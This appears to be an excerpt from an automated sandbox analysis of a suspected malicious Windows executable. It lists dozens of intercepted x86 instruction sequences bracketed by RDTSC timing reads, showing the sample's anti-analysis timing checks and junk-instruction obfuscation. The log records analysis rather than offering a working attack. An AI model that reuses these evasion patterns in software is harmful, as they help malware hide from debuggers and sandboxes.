Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360D7B second address: 7360DFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov edx, 74E806ECh 0x0000000b jmp 00007FF9A139226Ch 0x00000010 sub eax, eax 0x00000012 jmp 00007FF9A1392271h 0x00000017 lock cmpxchg dword ptr [edx], ecx 0x0000001b pushad 0x0000001c mov edi, ecx 0x0000001e pushfd 0x0000001f jmp 00007FF9A1392278h 0x00000024 jmp 00007FF9A1392275h 0x00000029 popfd 0x0000002a popad 0x0000002b pop edi 0x0000002c pushad 0x0000002d pushfd 0x0000002e jmp 00007FF9A139226Ch 0x00000033 sbb cl, FFFFFF98h 0x00000036 jmp 00007FF9A139226Bh 0x0000003b popfd 0x0000003c push eax 0x0000003d push edx 0x0000003e push esi 0x0000003f pop ebx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360DFE second address: 7360E1E instructions: 0x00000000 rdtsc 0x00000002 mov cx, 7D61h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 test eax, eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF9A052A493h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360E1E second address: 7360E24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360E24 second address: 7360E28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360E28 second address: 7360E68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007FFA0EE30B12h 0x0000000e pushad 0x0000000f pushad 0x00000010 mov ebx, 21D0BFBEh 0x00000015 mov dx, 19CAh 0x00000019 popad 0x0000001a mov bx, 0896h 0x0000001e popad 0x0000001f mov edx, dword ptr [ebp+08h] 0x00000022 jmp 00007FF9A139226Dh 0x00000027 mov eax, dword ptr [esi] 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FF9A139226Dh 0x00000030 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360E68 second address: 7360E78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF9A052A48Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360E78 second address: 7360E8E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [edx], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF9A139226Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360E8E second address: 7360E94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360E94 second address: 7360E98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360E98 second address: 7360ECE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esi+04h] 0x0000000b jmp 00007FF9A052A499h 0x00000010 mov dword ptr [edx+04h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FF9A052A48Dh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360ECE second address: 7360F10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A1392271h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esi+08h] 0x0000000c jmp 00007FF9A139226Eh 0x00000011 mov dword ptr [edx+08h], eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FF9A1392277h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360F10 second address: 7360F5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A052A499h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esi+0Ch] 0x0000000c jmp 00007FF9A052A48Eh 0x00000011 mov dword ptr [edx+0Ch], eax 0x00000014 pushad 0x00000015 mov cl, 55h 0x00000017 push ebx 0x00000018 pushad 0x00000019 popad 0x0000001a pop esi 0x0000001b popad 0x0000001c mov eax, dword ptr [esi+10h] 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FF9A052A48Eh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360F5C second address: 7360F82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A139226Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [edx+10h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FF9A1392270h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360F82 second address: 7360F91 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A052A48Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360F91 second address: 7360F97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360F97 second address: 7360F9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360F9B second address: 7361064 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esi+14h] 0x0000000b pushad 0x0000000c mov edx, 14C659D0h 0x00000011 mov ax, bx 0x00000014 popad 0x00000015 mov dword ptr [edx+14h], eax 0x00000018 jmp 00007FF9A139226Bh 0x0000001d mov eax, dword ptr [esi+18h] 0x00000020 pushad 0x00000021 mov eax, 3CDD95FBh 0x00000026 pushfd 0x00000027 jmp 00007FF9A1392270h 0x0000002c adc si, A548h 0x00000031 jmp 00007FF9A139226Bh 0x00000036 popfd 0x00000037 popad 0x00000038 mov dword ptr [edx+18h], eax 0x0000003b pushad 0x0000003c jmp 00007FF9A1392274h 0x00000041 mov edi, eax 0x00000043 popad 0x00000044 mov eax, dword ptr [esi+1Ch] 0x00000047 pushad 0x00000048 jmp 00007FF9A1392279h 0x0000004d popad 0x0000004e mov dword ptr [edx+1Ch], eax 0x00000051 jmp 00007FF9A139226Eh 0x00000056 mov eax, dword ptr [esi+20h] 0x00000059 pushad 0x0000005a mov esi, 75D9254Dh 0x0000005f jmp 00007FF9A139226Ah 0x00000064 popad 0x00000065 mov dword ptr [edx+20h], eax 0x00000068 jmp 00007FF9A1392270h 0x0000006d mov eax, dword ptr [esi+24h] 0x00000070 push eax 0x00000071 push edx 0x00000072 push eax 0x00000073 push edx 0x00000074 push eax 0x00000075 push edx 0x00000076 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7361064 second address: 7361068 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7361068 second address: 736106C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 736106C second address: 7361072 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7361072 second address: 73610E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A1392274h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [edx+24h], eax 0x0000000c jmp 00007FF9A1392270h 0x00000011 mov eax, dword ptr [esi+28h] 0x00000014 jmp 00007FF9A1392270h 0x00000019 mov dword ptr [edx+28h], eax 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f push edx 0x00000020 pop esi 0x00000021 pushfd 0x00000022 jmp 00007FF9A1392279h 0x00000027 sbb ah, FFFFFFF6h 0x0000002a jmp 00007FF9A1392271h 0x0000002f popfd 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73610E8 second address: 7361149 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FF9A052A497h 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007FF9A052A499h 0x0000000f add ax, B2B6h 0x00000014 jmp 00007FF9A052A491h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov ecx, dword ptr [esi+2Ch] 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FF9A052A48Dh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7361149 second address: 7361159 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF9A139226Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7361159 second address: 736115D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 736115D second address: 736116E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [edx+2Ch], ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 736116E second address: 7361174 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7361174 second address: 7361186 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF9A139226Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7361186 second address: 73611D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A052A48Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ax, word ptr [esi+30h] 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007FF9A052A48Bh 0x00000017 pushfd 0x00000018 jmp 00007FF9A052A498h 0x0000001d sbb esi, 50488CF8h 0x00000023 jmp 00007FF9A052A48Bh 0x00000028 popfd 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73611D5 second address: 73611DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73611DB second address: 73611DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73611DF second address: 7361208 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov word ptr [edx+30h], ax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FF9A1392279h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7361208 second address: 736120E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 736120E second address: 7361214 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7361214 second address: 7361218 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7361218 second address: 736122A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ax, word ptr [esi+32h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 736122A second address: 736122E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 736122E second address: 7361245 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A1392273h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7361245 second address: 736125D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF9A052A494h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 736125D second address: 7361261 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7361261 second address: 7361274 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov word ptr [edx+32h], ax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7361274 second address: 7361279 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7361279 second address: 73612B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 2224h 0x00000007 mov dl, 3Ch 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esi+34h] 0x0000000f jmp 00007FF9A052A494h 0x00000014 mov dword ptr [edx+34h], eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FF9A052A497h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73612B8 second address: 73612EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A1392279h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test ecx, 00000700h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FF9A139226Dh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73612EA second address: 73612F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73612F0 second address: 73612F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73612F4 second address: 73612F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73612F8 second address: 7361360 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007FFA0EE3067Dh 0x0000000e jmp 00007FF9A139226Fh 0x00000013 or dword ptr [edx+38h], FFFFFFFFh 0x00000017 jmp 00007FF9A1392276h 0x0000001c or dword ptr [edx+3Ch], FFFFFFFFh 0x00000020 jmp 00007FF9A1392270h 0x00000025 or dword ptr [edx+40h], FFFFFFFFh 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FF9A1392277h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7361360 second address: 7361387 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A052A499h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov bh, 06h 0x0000000f movzx esi, di 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73A0C8E second address: 73A0C95 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 70h 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73A0C95 second address: 73A0CF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 jmp 00007FF9A052A494h 0x0000000d push eax 0x0000000e jmp 00007FF9A052A48Bh 0x00000013 xchg eax, ebp 0x00000014 jmp 00007FF9A052A496h 0x00000019 mov ebp, esp 0x0000001b pushad 0x0000001c mov ebx, ecx 0x0000001e call 00007FF9A052A48Ah 0x00000023 pushad 0x00000024 popad 0x00000025 pop ecx 0x00000026 popad 0x00000027 pop ebp 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FF9A052A48Ah 0x0000002f rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 72F005F second address: 72F0064 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7340942 second address: 7340948 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7320032 second address: 7320075 instructions: 0x00000000 rdtsc 0x00000002 mov si, E2B7h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007FF9A139226Ch 0x0000000d movzx eax, dx 0x00000010 pop edx 0x00000011 popad 0x00000012 xchg eax, ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 movsx edi, cx 0x00000019 pushfd 0x0000001a jmp 00007FF9A1392270h 0x0000001f sbb si, 5808h 0x00000024 jmp 00007FF9A139226Bh 0x00000029 popfd 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7320075 second address: 732008D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF9A052A494h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 732008D second address: 73200C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FF9A139226Eh 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushfd 0x00000013 jmp 00007FF9A139226Ch 0x00000018 and eax, 4CAE4CC8h 0x0000001e jmp 00007FF9A139226Bh 0x00000023 popfd 0x00000024 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73200C7 second address: 732012B instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FF9A052A498h 0x00000008 adc ax, CF28h 0x0000000d jmp 00007FF9A052A48Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 mov ax, AC1Fh 0x00000019 popad 0x0000001a mov ebp, esp 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f movsx edx, si 0x00000022 pushfd 0x00000023 jmp 00007FF9A052A498h 0x00000028 adc ch, FFFFFFB8h 0x0000002b jmp 00007FF9A052A48Bh 0x00000030 popfd 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 732012B second address: 7320153 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A1392279h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and esp, FFFFFFF0h 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f mov eax, 08A741A9h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7320153 second address: 732019A instructions: 0x00000000 rdtsc 0x00000002 call 00007FF9A052A496h 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FF9A052A48Bh 0x0000000f popad 0x00000010 sub esp, 44h 0x00000013 pushad 0x00000014 movzx esi, di 0x00000017 jmp 00007FF9A052A491h 0x0000001c popad 0x0000001d xchg eax, ebx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 732019A second address: 732019E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 732019E second address: 73201A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73201A2 second address: 73201A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73201A8 second address: 73201BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF9A052A491h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73201BD second address: 73201C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73201C1 second address: 7320276 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FF9A052A48Ch 0x0000000e xchg eax, ebx 0x0000000f pushad 0x00000010 pushad 0x00000011 mov bx, ax 0x00000014 pushfd 0x00000015 jmp 00007FF9A052A498h 0x0000001a add cx, 9FC8h 0x0000001f jmp 00007FF9A052A48Bh 0x00000024 popfd 0x00000025 popad 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007FF9A052A496h 0x0000002d sub eax, 52B4A228h 0x00000033 jmp 00007FF9A052A48Bh 0x00000038 popfd 0x00000039 pushfd 0x0000003a jmp 00007FF9A052A498h 0x0000003f xor ecx, 090C5488h 0x00000045 jmp 00007FF9A052A48Bh 0x0000004a popfd 0x0000004b popad 0x0000004c popad 0x0000004d xchg eax, esi 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007FF9A052A495h 0x00000055 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7320276 second address: 7320287 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7320287 second address: 732028B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 732028B second address: 7320291 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7320291 second address: 73202B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A052A48Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF9A052A497h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73202B9 second address: 73202BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73202BF second address: 73202E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A052A48Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF9A052A495h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73202E8 second address: 73203C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF9A1392277h 0x00000009 jmp 00007FF9A1392273h 0x0000000e popfd 0x0000000f call 00007FF9A1392278h 0x00000014 pop ecx 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 jmp 00007FF9A1392270h 0x0000001e xchg eax, edi 0x0000001f pushad 0x00000020 jmp 00007FF9A139226Dh 0x00000025 popad 0x00000026 mov edi, dword ptr [ebp+08h] 0x00000029 pushad 0x0000002a push esi 0x0000002b mov si, bx 0x0000002e pop edi 0x0000002f pushfd 0x00000030 jmp 00007FF9A1392274h 0x00000035 sub ecx, 00E2A788h 0x0000003b jmp 00007FF9A139226Bh 0x00000040 popfd 0x00000041 popad 0x00000042 mov dword ptr [esp+24h], 00000000h 0x0000004a pushad 0x0000004b pushfd 0x0000004c jmp 00007FF9A1392274h 0x00000051 or al, FFFFFFE8h 0x00000054 jmp 00007FF9A139226Bh 0x00000059 popfd 0x0000005a mov eax, 18C72DDFh 0x0000005f popad 0x00000060 lock bts dword ptr [edi], 00000000h 0x00000065 push eax 0x00000066 push edx 0x00000067 pushad 0x00000068 mov ebx, 75D3B0E2h 0x0000006d mov cx, bx 0x00000070 popad 0x00000071 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73203C9 second address: 73203CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
